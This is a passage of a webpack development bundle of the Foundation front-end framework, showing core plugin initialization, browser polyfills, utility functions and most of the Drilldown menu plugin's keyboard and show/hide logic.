fns[type](plugins);\n }\n } catch (err) {\n console.error(err);\n } finally {\n return plugins;\n }\n },\n\n /**\n * Initialize plugins on any elements within `elem` (and `elem` itself) that aren't already initialized.\n * @param {Object} elem - jQuery object containing the element to check inside. Also checks the element itself, unless it's the `document` object.\n * @param {String|Array} plugins - A list of plugins to initialize. Leave this out to initialize everything.\n */\n reflow: function reflow(elem, plugins) {\n // If plugins is undefined, just grab everything\n if (typeof plugins === 'undefined') {\n plugins = Object.keys(this._plugins);\n } // If plugins is a string, convert it to an array with one item\n else if (typeof plugins === 'string') {\n plugins = [plugins];\n }\n\n var _this = this; // Iterate through each plugin\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(plugins, function (i, name) {\n // Get the current plugin\n var plugin = _this._plugins[name]; // Localize the search to all elements inside elem, as well as elem itself, unless elem === document\n\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(elem).find('[data-' + name + ']').addBack('[data-' + name + ']'); // For each plugin found, initialize it\n\n $elem.each(function () {\n var $el = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n opts = {}; // Don't double-dip on plugins\n\n if ($el.data('zfPlugin')) {\n console.warn(\"Tried to initialize \" + name + \" on an element that already has a Foundation plugin.\");\n return;\n }\n\n if ($el.attr('data-options')) {\n var thing = $el.attr('data-options').split(';').forEach(function (e, i) {\n var opt = e.split(':').map(function (el) {\n return el.trim();\n });\n if (opt[0]) opts[opt[0]] = parseValue(opt[1]);\n });\n }\n\n try {\n $el.data('zfPlugin', new plugin(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), opts));\n } catch (er) {\n console.error(er);\n } finally {\n return;\n }\n });\n });\n },\n getFnName: functionName,\n addToJquery: function addToJquery($) {\n // TODO: consider not making this a jQuery function\n // TODO: need way to reflow vs. re-initialize\n\n /**\n * The Foundation jQuery method.\n * @param {String|Array} method - An action to perform on the current jQuery object.\n */\n var foundation = function foundation(method) {\n var type = _typeof(method),\n $noJS = $('.no-js');\n\n if ($noJS.length) {\n $noJS.removeClass('no-js');\n }\n\n if (type === 'undefined') {\n //needs to initialize the Foundation object, or an individual plugin.\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__[\"MediaQuery\"]._init();\n\n Foundation.reflow(this);\n } else if (type === 'string') {\n //an individual method to invoke on a plugin or group of plugins\n var args = Array.prototype.slice.call(arguments, 1); //collect all the arguments, if necessary\n\n var plugClass = this.data('zfPlugin'); //determine the class of plugin\n\n if (typeof plugClass !== 'undefined' && typeof plugClass[method] !== 'undefined') {\n //make sure both the class and method exist\n if (this.length === 1) {\n //if there's only one, call it directly.\n plugClass[method].apply(plugClass, args);\n } else {\n this.each(function (i, el) {\n //otherwise loop through the jQuery collection and invoke the method on each\n plugClass[method].apply($(el).data('zfPlugin'), args);\n });\n }\n } else {\n //error for no class or no method\n throw new ReferenceError(\"We're sorry, '\" + method + \"' is not an available method for \" + (plugClass ? functionName(plugClass) : 'this element') + '.');\n }\n } else {\n //error for invalid argument type\n throw new TypeError(\"We're sorry, \".concat(type, \" is not a valid parameter. You must use a string representing the method you wish to invoke.\"));\n }\n\n return this;\n };\n\n $.fn.foundation = foundation;\n return $;\n }\n};\nFoundation.util = {\n /**\n * Function for applying a debounce effect to a function call.\n * @function\n * @param {Function} func - Function to be called at end of timeout.\n * @param {Number} delay - Time in ms to delay the call of `func`.\n * @returns function\n */\n throttle: function throttle(func, delay) {\n var timer = null;\n return function () {\n var context = this,\n args = arguments;\n\n if (timer === null) {\n timer = setTimeout(function () {\n func.apply(context, args);\n timer = null;\n }, delay);\n }\n };\n }\n};\nwindow.Foundation = Foundation; // Polyfill for requestAnimationFrame\n\n(function () {\n if (!Date.now || !window.Date.now) window.Date.now = Date.now = function () {\n return new Date().getTime();\n };\n var vendors = ['webkit', 'moz'];\n\n for (var i = 0; i < vendors.length && !window.requestAnimationFrame; ++i) {\n var vp = vendors[i];\n window.requestAnimationFrame = window[vp + 'RequestAnimationFrame'];\n window.cancelAnimationFrame = window[vp + 'CancelAnimationFrame'] || window[vp + 'CancelRequestAnimationFrame'];\n }\n\n if (/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) || !window.requestAnimationFrame || !window.cancelAnimationFrame) {\n var lastTime = 0;\n\n window.requestAnimationFrame = function (callback) {\n var now = Date.now();\n var nextTime = Math.max(lastTime + 16, now);\n return setTimeout(function () {\n callback(lastTime = nextTime);\n }, nextTime - now);\n };\n\n window.cancelAnimationFrame = clearTimeout;\n }\n /**\n * Polyfill for performance.now, required by rAF\n */\n\n\n if (!window.performance || !window.performance.now) {\n window.performance = {\n start: Date.now(),\n now: function now() {\n return Date.now() - this.start;\n }\n };\n }\n})();\n\nif (!Function.prototype.bind) {\n Function.prototype.bind = function (oThis) {\n if (typeof this !== 'function') {\n // closest thing possible to the ECMAScript 5\n // internal IsCallable function\n throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');\n }\n\n var aArgs = Array.prototype.slice.call(arguments, 1),\n fToBind = this,\n fNOP = function fNOP() {},\n fBound = function fBound() {\n return fToBind.apply(this instanceof fNOP ? this : oThis, aArgs.concat(Array.prototype.slice.call(arguments)));\n };\n\n if (this.prototype) {\n // native functions don't have a prototype\n fNOP.prototype = this.prototype;\n }\n\n fBound.prototype = new fNOP();\n return fBound;\n };\n} // Polyfill to get the name of a function in IE9\n\n\nfunction functionName(fn) {\n if (typeof Function.prototype.name === 'undefined') {\n var funcNameRegex = /function\\s([^(]{1,})\\(/;\n var results = funcNameRegex.exec(fn.toString());\n return results && results.length > 1 ? results[1].trim() : \"\";\n } else if (typeof fn.prototype === 'undefined') {\n return fn.constructor.name;\n } else {\n return fn.prototype.constructor.name;\n }\n}\n\nfunction parseValue(str) {\n if ('true' === str) return true;else if ('false' === str) return false;else if (!isNaN(str * 1)) return parseFloat(str);\n return str;\n} // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.js?")},"./js/foundation.core.plugin.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Plugin", function() { return Plugin; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\n\n // Abstract class for providing lifecycle hooks. Expect plugins to define AT LEAST\n// {function} _setup (replaces previous constructor),\n// {function} _destroy (replaces previous destroy)\n\nvar Plugin =\n/*#__PURE__*/\nfunction () {\n function Plugin(element, options) {\n _classCallCheck(this, Plugin);\n\n this._setup(element, options);\n\n var pluginName = getPluginName(this);\n this.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, pluginName);\n\n if (!this.$element.attr("data-".concat(pluginName))) {\n this.$element.attr("data-".concat(pluginName), this.uuid);\n }\n\n if (!this.$element.data(\'zfPlugin\')) {\n this.$element.data(\'zfPlugin\', this);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n this.$element.trigger("init.zf.".concat(pluginName));\n }\n\n _createClass(Plugin, [{\n key: "destroy",\n value: function destroy() {\n this._destroy();\n\n var pluginName = getPluginName(this);\n this.$element.removeAttr("data-".concat(pluginName)).removeData(\'zfPlugin\')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger("destroyed.zf.".concat(pluginName));\n\n for (var prop in this) {\n this[prop] = null; //clean up script to prep for garbage collection.\n }\n }\n }]);\n\n return Plugin;\n}(); // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, \'$1-$2\').toLowerCase();\n}\n\nfunction getPluginName(obj) {\n if (typeof obj.constructor.name !== \'undefined\') {\n return hyphenate(obj.constructor.name);\n } else {\n return hyphenate(obj.className);\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.plugin.js?')},"./js/foundation.core.utils.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"rtl\", function() { return rtl; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"GetYoDigits\", function() { return GetYoDigits; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"RegExpEscape\", function() { return RegExpEscape; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"transitionend\", function() { return transitionend; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"onLoad\", function() { return onLoad; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"ignoreMousedisappear\", function() { return ignoreMousedisappear; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n // Core Foundation Utilities, utilized in a number of places.\n\n/**\n * Returns a boolean for RTL support\n */\n\nfunction rtl() {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').attr('dir') === 'rtl';\n}\n/**\n * returns a random base-36 uid with namespacing\n * @function\n * @param {Number} length - number of random base-36 digits desired. Increase for more random strings.\n * @param {String} namespace - name of plugin to be incorporated in uid, optional.\n * @default {String} '' - if no plugin name is provided, nothing is appended to the uid.\n * @returns {String} - unique id\n */\n\n\nfunction GetYoDigits(length, namespace) {\n length = length || 6;\n return Math.round(Math.pow(36, length + 1) - Math.random() * Math.pow(36, length)).toString(36).slice(1) + (namespace ? \"-\".concat(namespace) : '');\n}\n/**\n * Escape a string so it can be used as a regexp pattern\n * @function\n * @see https://stackoverflow.com/a/9310752/4317384\n *\n * @param {String} str - string to escape.\n * @returns {String} - escaped string\n */\n\n\nfunction RegExpEscape(str) {\n return str.replace(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g, '\\\\$&');\n}\n\nfunction transitionend($elem) {\n var transitions = {\n 'transition': 'transitionend',\n 'WebkitTransition': 'webkitTransitionEnd',\n 'MozTransition': 'transitionend',\n 'OTransition': 'otransitionend'\n };\n var elem = document.createElement('div'),\n end;\n\n for (var t in transitions) {\n if (typeof elem.style[t] !== 'undefined') {\n end = transitions[t];\n }\n }\n\n if (end) {\n return end;\n } else {\n end = setTimeout(function () {\n $elem.triggerHandler('transitionend', [$elem]);\n }, 1);\n return 'transitionend';\n }\n}\n/**\n * Return an event type to listen for window load.\n *\n * If `$elem` is passed, an event will be triggered on `$elem`. If window is already loaded, the event will still be triggered.\n * If `handler` is passed, attach it to the event on `$elem`.\n * Calling `onLoad` without handler allows you to get the event type that will be triggered before attaching the handler by yourself.\n * @function\n *\n * @param {Object} [] $elem - jQuery element on which the event will be triggered if passed.\n * @param {Function} [] handler - function to attach to the event.\n * @returns {String} - event type that should or will be triggered.\n */\n\n\nfunction onLoad($elem, handler) {\n var didLoad = document.readyState === 'complete';\n var eventType = (didLoad ? '_didLoad' : 'load') + '.zf.util.onLoad';\n\n var cb = function cb() {\n return $elem.triggerHandler(eventType);\n };\n\n if ($elem) {\n if (handler) $elem.one(eventType, handler);\n if (didLoad) setTimeout(cb);else jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).one('load', cb);\n }\n\n return eventType;\n}\n/**\n * Retuns an handler for the `mouseleave` that ignore disappeared mouses.\n *\n * If the mouse \"disappeared\" from the document (like when going on a browser UI element, See https://git.io/zf-11410),\n * the event is ignored.\n * - If the `ignoreLeaveWindow` is `true`, the event is ignored when the user actually left the window\n * (like by switching to an other window with [Alt]+[Tab]).\n * - If the `ignoreReappear` is `true`, the event will be ignored when the mouse will reappear later on the document\n * outside of the element it left.\n *\n * @function\n *\n * @param {Function} [] handler - handler for the filtered `mouseleave` event to watch.\n * @param {Object} [] options - object of options:\n * - {Boolean} [false] ignoreLeaveWindow - also ignore when the user switched windows.\n * - {Boolean} [false] ignoreReappear - also ignore when the mouse reappeared outside of the element it left.\n * @returns {Function} - filtered handler to use to listen on the `mouseleave` event.\n */\n\n\nfunction ignoreMousedisappear(handler) {\n var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},\n _ref$ignoreLeaveWindo = _ref.ignoreLeaveWindow,\n ignoreLeaveWindow = _ref$ignoreLeaveWindo === void 0 ? false : _ref$ignoreLeaveWindo,\n _ref$ignoreReappear = _ref.ignoreReappear,\n ignoreReappear = _ref$ignoreReappear === void 0 ? false : _ref$ignoreReappear;\n\n return function leaveEventHandler(eLeave) {\n for (var _len = arguments.length, rest = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n rest[_key - 1] = arguments[_key];\n }\n\n var callback = handler.bind.apply(handler, [this, eLeave].concat(rest)); // The mouse left: call the given callback if the mouse entered elsewhere\n\n if (eLeave.relatedTarget !== null) {\n return callback();\n } // Otherwise, check if the mouse actually left the window.\n // In firefox if the user switched between windows, the window sill have the focus by the time\n // the event is triggered. We have to debounce the event to test this case.\n\n\n setTimeout(function leaveEventDebouncer() {\n if (!ignoreLeaveWindow && document.hasFocus && !document.hasFocus()) {\n return callback();\n } // Otherwise, wait for the mouse to reeapear outside of the element,\n\n\n if (!ignoreReappear) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).one('mouseenter', function reenterEventHandler(eReenter) {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(eLeave.currentTarget).has(eReenter.target).length) {\n // Fill where the mouse finally entered.\n eLeave.relatedTarget = eReenter.target;\n callback();\n }\n });\n }\n }, 0);\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.utils.js?")},"./js/foundation.drilldown.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Drilldown\", function() { return Drilldown; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * Drilldown module.\n * @module foundation.drilldown\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n * @requires foundation.util.box\n */\n\nvar Drilldown =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Drilldown, _Plugin);\n\n function Drilldown() {\n _classCallCheck(this, Drilldown);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Drilldown).apply(this, arguments));\n }\n\n _createClass(Drilldown, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of a drilldown menu.\n * @class\n * @name Drilldown\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Drilldown.defaults, this.$element.data(), options);\n this.className = 'Drilldown'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('Drilldown', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close',\n 'TAB': 'down',\n 'SHIFT_TAB': 'up'\n });\n }\n /**\n * Initializes the drilldown by creating jQuery collections of elements\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'drilldown');\n\n if (this.options.autoApplyClass) {\n this.$element.addClass('drilldown');\n }\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': false\n });\n this.$submenuAnchors = this.$element.find('li.is-drilldown-submenu-parent').children('a');\n this.$submenus = this.$submenuAnchors.parent('li').children('[data-submenu]').attr('role', 'group');\n this.$menuItems = this.$element.find('li').not('.js-drilldown-back').attr('role', 'treeitem').find('a'); // Set the main menu as current by default (unless a submenu is selected)\n // Used to set the wrapper height when the drilldown is closed/reopened from any (sub)menu\n\n this.$currentMenu = this.$element;\n this.$element.attr('data-mutate', this.$element.attr('data-drilldown') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'drilldown'));\n\n this._prepareMenu();\n\n this._registerEvents();\n\n this._keyboardEvents();\n }\n /**\n * prepares drilldown menu by setting attributes to links and elements\n * sets a min height to prevent content jumping\n * wraps the element if not already wrapped\n * @private\n * @function\n */\n\n }, {\n key: \"_prepareMenu\",\n value: function _prepareMenu() {\n var _this = this; // if(!this.options.holdOpen){\n // this._menuLinkEvents();\n // }\n\n\n this.$submenuAnchors.each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n var $sub = $link.parent();\n\n if (_this.options.parentLink) {\n $link.clone().prependTo($sub.children('[data-submenu]')).wrap('
  • ');\n }\n\n $link.data('savedHref', $link.attr('href')).removeAttr('href').attr('tabindex', 0);\n $link.children('[data-submenu]').attr({\n 'aria-hidden': true,\n 'tabindex': 0,\n 'role': 'group'\n });\n\n _this._events($link);\n });\n this.$submenus.each(function () {\n var $menu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $back = $menu.find('.js-drilldown-back');\n\n if (!$back.length) {\n switch (_this.options.backButtonPosition) {\n case \"bottom\":\n $menu.append(_this.options.backButton);\n break;\n\n case \"top\":\n $menu.prepend(_this.options.backButton);\n break;\n\n default:\n console.error(\"Unsupported backButtonPosition value '\" + _this.options.backButtonPosition + \"'\");\n }\n }\n\n _this._back($menu);\n });\n this.$submenus.addClass('invisible');\n\n if (!this.options.autoHeight) {\n this.$submenus.addClass('drilldown-submenu-cover-previous');\n } // create a wrapper on element if it doesn't exist.\n\n\n if (!this.$element.parent().hasClass('is-drilldown')) {\n this.$wrapper = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.wrapper).addClass('is-drilldown');\n if (this.options.animateHeight) this.$wrapper.addClass('animate-height');\n this.$element.wrap(this.$wrapper);\n } // set wrapper\n\n\n this.$wrapper = this.$element.parent();\n this.$wrapper.css(this._getMaxDims());\n }\n }, {\n key: \"_resize\",\n value: function _resize() {\n this.$wrapper.css({\n 'max-width': 'none',\n 'min-height': 'none'\n }); // _getMaxDims has side effects (boo) but calling it should update all other necessary heights & widths\n\n this.$wrapper.css(this._getMaxDims());\n }\n /**\n * Adds event handlers to elements in the menu.\n * @function\n * @private\n * @param {jQuery} $elem - the current menu item to add handlers to.\n */\n\n }, {\n key: \"_events\",\n value: function _events($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', 'li').hasClass('is-drilldown-submenu-parent')) {\n e.stopImmediatePropagation();\n e.preventDefault();\n } // if(e.target !== e.currentTarget.firstElementChild){\n // return false;\n // }\n\n\n _this._show($elem.parent('li'));\n\n if (_this.options.closeOnClick) {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()('body');\n $body.off('.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target)) {\n return;\n }\n\n e.preventDefault();\n\n _this._hideAll();\n\n $body.off('.zf.drilldown');\n });\n }\n });\n }\n /**\n * Adds event handlers to the menu element.\n * @function\n * @private\n */\n\n }, {\n key: \"_registerEvents\",\n value: function _registerEvents() {\n if (this.options.scrollTop) {\n this._bindHandler = this._scrollTop.bind(this);\n this.$element.on('open.zf.drilldown hide.zf.drilldown closed.zf.drilldown', this._bindHandler);\n }\n\n this.$element.on('mutateme.zf.trigger', this._resize.bind(this));\n }\n /**\n * Scroll to Top of Element or data-scroll-top-element\n * @function\n * @fires Drilldown#scrollme\n */\n\n }, {\n key: \"_scrollTop\",\n value: function _scrollTop() {\n var _this = this;\n\n var $scrollTopElement = _this.options.scrollTopElement != '' ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(_this.options.scrollTopElement) : _this.$element,\n scrollPos = parseInt($scrollTopElement.offset().top + _this.options.scrollTopOffset, 10);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html, body').stop(true).animate({\n scrollTop: scrollPos\n }, _this.options.animationDuration, _this.options.animationEasing, function () {\n /**\n * Fires after the menu has scrolled\n * @event Drilldown#scrollme\n */\n if (this === jquery__WEBPACK_IMPORTED_MODULE_0___default()('html')[0]) _this.$element.trigger('scrollme.zf.drilldown');\n });\n }\n /**\n * Adds keydown event listener to `li`'s in the menu.\n * @private\n */\n\n }, {\n key: \"_keyboardEvents\",\n value: function _keyboardEvents() {\n var _this = this;\n\n this.$menuItems.add(this.$element.find('.js-drilldown-back > a, .is-submenu-parent-item > a')).on('keydown.zf.drilldown', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('li').parent('ul').children('li').children('a'),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1));\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1));\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'Drilldown', {\n next: function next() {\n if ($element.is(_this.$submenuAnchors)) {\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n previous: function previous() {\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n },\n up: function up() {\n $prevElement.focus(); // Don't tap focus on first element in root ul\n\n return !$element.is(_this.$element.find('> li:first-child > a'));\n },\n down: function down() {\n $nextElement.focus(); // Don't tap focus on last element in root ul\n\n return !$element.is(_this.$element.find('> li:last-child > a'));\n },\n close: function close() {\n // Don't close on element in root ul\n if (!$element.is(_this.$element.find('> li > a'))) {\n _this._hide($element.parent().parent());\n\n $element.parent().parent().siblings('a').focus();\n }\n },\n open: function open() {\n if (_this.options.parentLink && $element.attr('href')) {\n // Link with href\n return false;\n } else if (!$element.is(_this.$menuItems)) {\n // not menu item means back button\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n } else if ($element.is(_this.$submenuAnchors)) {\n // Sub menu item\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); // end keyboardAccess\n }\n /**\n * Closes all open elements, and returns to root menu.\n * @function\n * @fires Drilldown#closed\n */\n\n }, {\n key: \"_hideAll\",\n value: function _hideAll() {\n var $elem = this.$element.find('.is-drilldown-submenu.is-active').addClass('is-closing');\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n $elem.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function (e) {\n $elem.removeClass('is-active is-closing');\n });\n /**\n * Fires when the menu is fully closed.\n * @event Drilldown#closed\n */\n\n this.$element.trigger('closed.zf.drilldown');\n }\n /**\n * Adds event listener for each `back` button, and closes open menus.\n * @function\n * @fires Drilldown#back\n * @param {jQuery} $elem - the current sub-menu to add `back` event.\n */\n\n }, {\n key: \"_back\",\n value: function _back($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown');\n $elem.children('.js-drilldown-back').on('click.zf.drilldown', function (e) {\n e.stopImmediatePropagation(); // console.log('mouseup on back');\n\n _this._hide($elem); // If there is a parent submenu, call show\n\n\n var parentSubMenu = $elem.parent('li').parent('ul').parent('li');\n\n if (parentSubMenu.length) {\n _this._show(parentSubMenu);\n }\n });\n }\n /**\n * Adds event listener to menu items w/o submenus to close open menus on click.\n * @function\n * @private\n */\n\n }, {\n key: \"_menuLinkEvents\",\n value: function _menuLinkEvents() {\n var _this = this;\n\n this.$menuItems.not('.is-drilldown-submenu-parent').off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n // e.stopImmediatePropagation();\n setTimeout(function () {\n _this._hideAll();\n }, 0);\n });\n }\n /**\n * Sets the CSS classes for submenu to show it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setShowSubMenuClasses\",\n value: function _setShowSubMenuClasses($elem, trigger) {\n $elem.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n $elem.parent('li').attr('aria-expanded', true);\n\n if (trigger === true) {\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n }\n /**\n * Sets the CSS classes for submenu to hide it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n 